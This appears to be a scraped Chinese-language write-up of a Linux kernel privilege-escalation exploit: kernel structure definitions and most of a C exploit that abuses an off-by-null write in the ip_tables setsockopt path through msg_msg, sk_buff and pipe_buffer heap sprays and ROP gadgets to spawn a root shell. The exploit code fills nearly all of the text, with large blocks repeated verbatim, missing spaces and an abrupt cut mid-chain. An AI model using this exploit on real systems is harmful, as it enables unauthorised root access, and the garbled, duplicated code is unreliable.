/* The table itself */ structxt_table_info { /* Size per table */ unsignedint size; /* Number of entries: FIXME. --RR */ unsignedint number; /* Initial number of entries. Needed for module usage count */ unsignedint initial_entries;
/* Entry points and underflows */ unsignedint hook_entry[NF_INET_NUMHOOKS]; unsignedint underflow[NF_INET_NUMHOOKS];
/* * Number of user chains. Since tables cannot have loops, at most * @stacksize jumps (number of user chains) can possibly be made. */ unsignedint stacksize; void ***jumpstack; // 我超,三级指针!
/* This structure defines each of the firewall rules. Consists of 3 parts which are 1) general IP header stuff 2) match specific stuff 3) the target to perform if the rule matches */ structipt_entry { structipt_ipip;
/* Mark with fields that we care about. */ unsignedint nfcache;
/* Size of ipt_entry + matches */ __u16 target_offset; /* Size of ipt_entry + matches + target */ __u16 next_offset;
/* Back pointer */ unsignedint comefrom;
/* Packet and byte counters. */ structxt_counterscounters;
/* The matches (if any), then the target. */ unsignedchar elems[0]; };
int __sock_create(struct net *net, int family, int type, int protocol, struct socket **res, int kern) { int err; structsocket *sock; conststructnet_proto_family *pf; //... rcu_read_lock(); pf = rcu_dereference(net_families[family]); err = -EAFNOSUPPORT; if (!pf) goto out_release;
/* * We will call the ->create function, that possibly is in a loadable * module, so we have to bump that loadable module refcnt first. */ if (!try_module_get(pf->owner)) goto out_release;
/* Now protected by module ref count */ rcu_read_unlock();
int __sock_create(struct net *net, int family, int type, int protocol, struct socket **res, int kern) { int err; structsocket *sock; conststructnet_proto_family *pf; //... rcu_read_lock(); pf = rcu_dereference(net_families[family]); err = -EAFNOSUPPORT; if (!pf) goto out_release;
/* * We will call the ->create function, that possibly is in a loadable * module, so we have to bump that loadable module refcnt first. */ if (!try_module_get(pf->owner)) goto out_release;
/* Now protected by module ref count */ rcu_read_unlock();
if (unshare(CLONE_NEWUSER) < 0) errExit("failed to unshare(CLONE_NEWUSER)"); if (unshare(CLONE_NEWNET) < 0) errExit("failed to unshare(CLONE_NEWNET)");
那么选用什么样的结构体作为 victim 呢?这里我们选择使用 msg_msg 这一结构体,其长度可控,且开头正好是内核双向链表结构体,我们所能覆写的为其 next 指针:
1 2 3 4 5 6 7 8 9
/* one msg_msg structure for each message */ structmsg_msg { structlist_headm_list; long m_type; size_t m_ts; /* message text size */ structmsg_msgseg *next; void *security; /* the actual message follows immediately */ };
/** * struct pipe_buffer - a linux kernel pipe buffer * @page: the page containing the data for the pipe buffer * @offset: offset of data inside the @page * @len: length of data inside the @page * @ops: operations associated with this buffer. See @pipe_buf_operations. * @flags: pipe buffer flags. See above. * @private: private data owned by the ops. **/ structpipe_buffer { structpage *page; unsignedint offset, len; conststructpipe_buf_operations *ops; unsignedint flags; unsignedlong private; };
struct { long mtype; char mtext[PRIMARY_MSG_SIZE - sizeof(struct msg_msg)]; }primary_msg;
struct { long mtype; char mtext[SECONDARY_MSG_SIZE - sizeof(struct msg_msg)]; }secondary_msg;
/* * skb_shared_info need to take 320 bytes at the tail * so the max size of buf we should send is: * 1024 - 320 = 704 */ char fake_secondary_msg[704];
// partial overwrite the next object if (setsockopt(socket_fd, SOL_IP, IPT_SO_SET_REPLACE, &data, sizeof(data))) if (errno == ENOPROTOOPT) errExit("ip_tables module is not loaded!"); }
voidgetRootShell(void) { if (getuid()) errExit("failed to gain the root!");
printf("\033[32m\033[1m[+] Succesfully gain the root privilege, trigerring root shell now...\033[0m\n"); system("/bin/sh"); }
intmain(int argc, char **argv, char **envp) { int socket_fd; int sk_sockets[SOCKET_NUM][2]; int pipe_fd[PIPE_NUM][2]; int msqid[MSG_QUEUE_NUM]; int victim_qid, real_qid; structmsg_msg *nearby_msg; structmsg_msg *nearby_msg_prim; structpipe_buffer *pipe_buf_ptr; structpipe_buf_operations *ops_ptr; uint64_t victim_addr; uint64_t kernel_base; uint64_t kernel_offset; uint64_t *rop_chain; int rop_idx; cpu_set_t cpu_set;
// ident namespace if (unshare(CLONE_NEWUSER) < 0) errExit("failed to unshare(CLONE_NEWUSER)"); if (unshare(CLONE_NEWNET) < 0) errExit("failed to unshare(CLONE_NEWNET)");
// run the exp on specific core only CPU_ZERO(&cpu_set); CPU_SET(0, &cpu_set); sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
// socket to trigert off-by-null if ((socket_fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) errExit("failed to create socket!");
// socket pairs to spray sk_buff for (int i = 0; i < SOCKET_NUM; i++) if (socketpair(AF_UNIX, SOCK_STREAM, 0, sk_sockets[i]) < 0) errExit("failed to create socket pair!");
/* * Step.I * build msg_queue, spray primary and secondary msg_msg, * and use OOB write to construct the overlapping */ puts("\n\033[34m\033[1m[*] Step.I spray msg_msg, construct overlapping object\033[0m");
puts("[*] Build message queue..."); // build 4096 message queue for (int i = 0; i < MSG_QUEUE_NUM; i++) { if ((msqid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) < 0) errExit("failed to create msg_queue!"); }
puts("[*] Spray primary and secondary msg_msg...");
// create hole in primary msg_msg puts("[*] Create holes in primary msg_msg..."); for (int i = 0; i < MSG_QUEUE_NUM; i += 1024) { if (readMsg(msqid[i], &primary_msg, sizeof(primary_msg), PRIMARY_MSG_TYPE) < 0) errExit("failed to receive primary msg!"); }
// triger off-by-null on primary msg_msg puts("[*] Trigger OOB write to construct the overlapping..."); trigerOutOfBoundWrite(socket_fd);
// find the queues that have the same secondary msg_msg puts("[*] Checking whether succeeded to make overlapping..."); victim_qid = real_qid = -1; for (int i = 0; i < MSG_QUEUE_NUM; i++) { if ((i % 1024) == 0) // the hole continue;
if (peekMsg(msqid[i], &secondary_msg, sizeof(secondary_msg), 1) < 0) { printf("[x] error qid: %d\n", i); errExit("failed to receive secondary msg!"); }
if (*(int*) &secondary_msg.mtext[0] != MSG_TAG) errExit("failed to make corruption!");
// free the victim secondary msg_msg, then we get a UAF if (readMsg(msqid[real_qid], &secondary_msg, sizeof(secondary_msg), SECONDARY_MSG_TYPE) < 0) errExit("failed to receive secondary msg!");
puts("\033[32m\033[1m[+] UAF construction complete!\033[0m");
/* * Step.III * spray sk_buff to leak msg_msg addr * construct fake msg_msg to leak addr of UAF obj */ puts("\n\033[34m\033[1m[*] Step.III spray sk_buff to leak kheap addr\033[0m");
// use fake msg_msg to read OOB puts("[*] OOB read from victim msg_msg"); if (peekMsg(msqid[victim_qid], &oob_msg, sizeof(oob_msg), 1) < 0) errExit("failed to read victim msg!");
if (*(int *)&oob_msg.mtext[SECONDARY_MSG_SIZE] != MSG_TAG) errExit("failed to rehit the UAF object!");
printf("\033[32m\033[1m[+] addr of primary msg of msg nearby victim: \033[0m%llx\n", nearby_msg->m_list.prev);
// release and re-spray sk_buff to construct fake msg_msg // so that we can make an arbitrary read on a primary msg_msg if (freeSkBuff(sk_sockets, fake_secondary_msg, sizeof(fake_secondary_msg)) < 0) errExit("failed to release sk_buff!");
puts("[*] arbitrary read on primary msg of msg nearby victim"); if (peekMsg(msqid[victim_qid], &oob_msg, sizeof(oob_msg), 1) < 0) errExit("failed to read victim msg!");
if (*(int *)&oob_msg.mtext[0x1000] != MSG_TAG) errExit("failed to rehit the UAF object!");
// cal the addr of UAF obj by the header we just read out nearby_msg_prim = (struct msg_msg*) &oob_msg.mtext[0x1000 - sizeof(struct msg_msg)]; victim_addr = nearby_msg_prim->m_list.next - 0x400;
printf("\033[32m\033[1m[+] addr of msg next to victim: \033[0m%llx\n", nearby_msg_prim->m_list.next); printf("\033[32m\033[1m[+] addr of msg UAF object: \033[0m%llx\n", victim_addr);
/* * Step.IV * fix the header of UAF obj and release it * spray pipe_buffer and leak the kernel base */ puts("\n\033[34m\033[1m[*] Step.IV spray pipe_buffer to leak kernel base\033[0m");
// re-construct the msg_msg to fix it puts("[*] fixing the UAF obj as a msg_msg..."); if (freeSkBuff(sk_sockets, fake_secondary_msg, sizeof(fake_secondary_msg)) < 0) errExit("failed to release sk_buff!");
memset(fake_secondary_msg, 0, sizeof(fake_secondary_msg)); buildMsg((struct msg_msg *)fake_secondary_msg, victim_addr + 0x800, victim_addr + 0x800, // a valid kheap addr is valid VICTIM_MSG_TYPE, SECONDARY_MSG_SIZE - sizeof(struct msg_msg), 0, 0); if (spraySkBuff(sk_sockets, fake_secondary_msg, sizeof(fake_secondary_msg)) < 0) errExit("failed to spray sk_buff!");
// release UAF obj as secondary msg puts("[*] release UAF obj in message queue..."); if (readMsg(msqid[victim_qid], &secondary_msg, sizeof(secondary_msg), VICTIM_MSG_TYPE) < 0) errExit("failed to receive secondary msg!");
// spray pipe_buffer puts("[*] spray pipe_buffer..."); for (int i = 0; i < PIPE_NUM; i++) { if (pipe(pipe_fd[i]) < 0) errExit("failed to create pipe!");
// write something to activate it if (write(pipe_fd[i][1], "arttnba3", 8) < 0) errExit("failed to write the pipe!"); }
// release the sk_buff to read pipe_buffer, leak kernel base puts("[*] release sk_buff to read pipe_buffer..."); pipe_buf_ptr = (struct pipe_buffer *) &fake_secondary_msg; for (int i = 0; i < SOCKET_NUM; i++) { for (int j = 0; j < SK_BUFF_NUM; j++) { if (read(sk_sockets[i][1], &fake_secondary_msg, sizeof(fake_secondary_msg)) < 0) errExit("failed to release sk_buff!");
/* * Step.V * hijack the ops of pipe_buffer * free all pipe to trigger fake ptr * so that we hijack the RIP * construct a ROP on pipe_buffer */ puts("\n\033[34m\033[1m[*] Step.V hijack the ops of pipe_buffer, gain root privilege\033[0m");
puts("[*] pre-construct data in userspace..."); pipe_buf_ptr = (struct pipe_buffer *) fake_secondary_msg; pipe_buf_ptr->ops = victim_addr;
ops_ptr = (struct pipe_buf_operations *) fake_secondary_msg; ops_ptr->release = 0xffffffff8183b4d3 + kernel_offset;// push rsi ; pop rsp ; add [rbp-0x3d],bl ; ret ops_ptr->confirm = 0xffffffff81689ea4 + kernel_offset;// pop rdx ; pop r13 ; pop rbp ; ret
struct { long mtype; char mtext[PRIMARY_MSG_SIZE - sizeof(struct msg_msg)]; }primary_msg;
struct { long mtype; char mtext[SECONDARY_MSG_SIZE - sizeof(struct msg_msg)]; }secondary_msg;
/* * skb_shared_info need to take 320 bytes at the tail * so the max size of buf we should send is: * 1024 - 320 = 704 */ char fake_secondary_msg[704];
// partial overwrite the next object if (setsockopt(socket_fd, SOL_IP, IPT_SO_SET_REPLACE, &data, sizeof(data))) if (errno == ENOPROTOOPT) errExit("ip_tables module is not loaded!"); }
voidgetRootShell(void) { if (getuid()) errExit("failed to gain the root!");
printf("\033[32m\033[1m[+] Succesfully gain the root privilege, trigerring root shell now...\033[0m\n"); system("/bin/sh"); }
intmain(int argc, char **argv, char **envp) { int socket_fd; int sk_sockets[SOCKET_NUM][2]; int pipe_fd[PIPE_NUM][2]; int msqid[MSG_QUEUE_NUM]; int victim_qid, real_qid; structmsg_msg *nearby_msg; structmsg_msg *nearby_msg_prim; structpipe_buffer *pipe_buf_ptr; structpipe_buf_operations *ops_ptr; uint64_t victim_addr; uint64_t kernel_base; uint64_t kernel_offset; uint64_t *rop_chain; int rop_idx; cpu_set_t cpu_set;
// ident namespace if (unshare(CLONE_NEWUSER) < 0) errExit("failed to unshare(CLONE_NEWUSER)"); if (unshare(CLONE_NEWNET) < 0) errExit("failed to unshare(CLONE_NEWNET)");
// run the exp on specific core only CPU_ZERO(&cpu_set); CPU_SET(0, &cpu_set); sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
// socket to trigert off-by-null if ((socket_fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) errExit("failed to create socket!");
// socket pairs to spray sk_buff for (int i = 0; i < SOCKET_NUM; i++) if (socketpair(AF_UNIX, SOCK_STREAM, 0, sk_sockets[i]) < 0) errExit("failed to create socket pair!");
/* * Step.I * build msg_queue, spray primary and secondary msg_msg, * and use OOB write to construct the overlapping */ puts("\n\033[34m\033[1m[*] Step.I spray msg_msg, construct overlapping object\033[0m");
puts("[*] Build message queue..."); // build 4096 message queue for (int i = 0; i < MSG_QUEUE_NUM; i++) { if ((msqid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) < 0) errExit("failed to create msg_queue!"); }
puts("[*] Spray primary and secondary msg_msg...");
// create hole in primary msg_msg puts("[*] Create holes in primary msg_msg..."); for (int i = 0; i < MSG_QUEUE_NUM; i += 1024) { if (readMsg(msqid[i], &primary_msg, sizeof(primary_msg), PRIMARY_MSG_TYPE) < 0) errExit("failed to receive primary msg!"); }
// triger off-by-null on primary msg_msg puts("[*] Trigger OOB write to construct the overlapping..."); trigerOutOfBoundWrite(socket_fd);
// find the queues that have the same secondary msg_msg puts("[*] Checking whether succeeded to make overlapping..."); victim_qid = real_qid = -1; for (int i = 0; i < MSG_QUEUE_NUM; i++) { if ((i % 1024) == 0) // the hole continue;
if (peekMsg(msqid[i], &secondary_msg, sizeof(secondary_msg), 1) < 0) { printf("[x] error qid: %d\n", i); errExit("failed to receive secondary msg!"); }
if (*(int*) &secondary_msg.mtext[0] != MSG_TAG) errExit("failed to make corruption!");
// free the victim secondary msg_msg, then we get a UAF if (readMsg(msqid[real_qid], &secondary_msg, sizeof(secondary_msg), SECONDARY_MSG_TYPE) < 0) errExit("failed to receive secondary msg!");
puts("\033[32m\033[1m[+] UAF construction complete!\033[0m");
/* * Step.III * spray sk_buff to leak msg_msg addr * construct fake msg_msg to leak addr of UAF obj */ puts("\n\033[34m\033[1m[*] Step.III spray sk_buff to leak kheap addr\033[0m");
// use fake msg_msg to read OOB puts("[*] OOB read from victim msg_msg"); if (peekMsg(msqid[victim_qid], &oob_msg, sizeof(oob_msg), 1) < 0) errExit("failed to read victim msg!");
if (*(int *)&oob_msg.mtext[SECONDARY_MSG_SIZE] != MSG_TAG) errExit("failed to rehit the UAF object!");
printf("\033[32m\033[1m[+] addr of primary msg of msg nearby victim: \033[0m%llx\n", nearby_msg->m_list.prev);
// release and re-spray sk_buff to construct fake msg_msg // so that we can make an arbitrary read on a primary msg_msg if (freeSkBuff(sk_sockets, fake_secondary_msg, sizeof(fake_secondary_msg)) < 0) errExit("failed to release sk_buff!");
puts("[*] arbitrary read on primary msg of msg nearby victim"); if (peekMsg(msqid[victim_qid], &oob_msg, sizeof(oob_msg), 1) < 0) errExit("failed to read victim msg!");
if (*(int *)&oob_msg.mtext[0x1000] != MSG_TAG) errExit("failed to rehit the UAF object!");
// cal the addr of UAF obj by the header we just read out nearby_msg_prim = (struct msg_msg*) &oob_msg.mtext[0x1000 - sizeof(struct msg_msg)]; victim_addr = nearby_msg_prim->m_list.next - 0x400;
printf("\033[32m\033[1m[+] addr of msg next to victim: \033[0m%llx\n", nearby_msg_prim->m_list.next); printf("\033[32m\033[1m[+] addr of msg UAF object: \033[0m%llx\n", victim_addr);
/* * Step.IV * fix the header of UAF obj and release it * spray pipe_buffer and leak the kernel base */ puts("\n\033[34m\033[1m[*] Step.IV spray pipe_buffer to leak kernel base\033[0m");
// re-construct the msg_msg to fix it puts("[*] fixing the UAF obj as a msg_msg..."); if (freeSkBuff(sk_sockets, fake_secondary_msg, sizeof(fake_secondary_msg)) < 0) errExit("failed to release sk_buff!");
memset(fake_secondary_msg, 0, sizeof(fake_secondary_msg)); buildMsg((struct msg_msg *)fake_secondary_msg, victim_addr + 0x800, victim_addr + 0x800, // a valid kheap addr is valid VICTIM_MSG_TYPE, SECONDARY_MSG_SIZE - sizeof(struct msg_msg), 0, 0); if (spraySkBuff(sk_sockets, fake_secondary_msg, sizeof(fake_secondary_msg)) < 0) errExit("failed to spray sk_buff!");
// release UAF obj as secondary msg puts("[*] release UAF obj in message queue..."); if (readMsg(msqid[victim_qid], &secondary_msg, sizeof(secondary_msg), VICTIM_MSG_TYPE) < 0) errExit("failed to receive secondary msg!");
// spray pipe_buffer puts("[*] spray pipe_buffer..."); for (int i = 0; i < PIPE_NUM; i++) { if (pipe(pipe_fd[i]) < 0) errExit("failed to create pipe!");
// write something to activate it if (write(pipe_fd[i][1], "arttnba3", 8) < 0) errExit("failed to write the pipe!"); }
// release the sk_buff to read pipe_buffer, leak kernel base puts("[*] release sk_buff to read pipe_buffer..."); pipe_buf_ptr = (struct pipe_buffer *) &fake_secondary_msg; for (int i = 0; i < SOCKET_NUM; i++) { for (int j = 0; j < SK_BUFF_NUM; j++) { if (read(sk_sockets[i][1], &fake_secondary_msg, sizeof(fake_secondary_msg)) < 0) errExit("failed to release sk_buff!");
/* * Step.V * hijack the ops of pipe_buffer * free all pipe to trigger fake ptr * so that we hijack the RIP * construct a ROP on pipe_buffer */ puts("\n\033[34m\033[1m[*] Step.V hijack the ops of pipe_buffer, gain root privilege\033[0m");
puts("[*] pre-construct data in userspace..."); pipe_buf_ptr = (struct pipe_buffer *) fake_secondary_msg; pipe_buf_ptr->ops = victim_addr;
ops_ptr = (struct pipe_buf_operations *) fake_secondary_msg; ops_ptr->release = 0xffffffff8183b4d3 + kernel_offset;// push rsi ; pop rsp ; add [rbp-0x3d],bl ; ret ops_ptr->confirm = 0xffffffff81689ea4 + kernel_offset;// pop rdx ; pop r13 ; pop rbp ; ret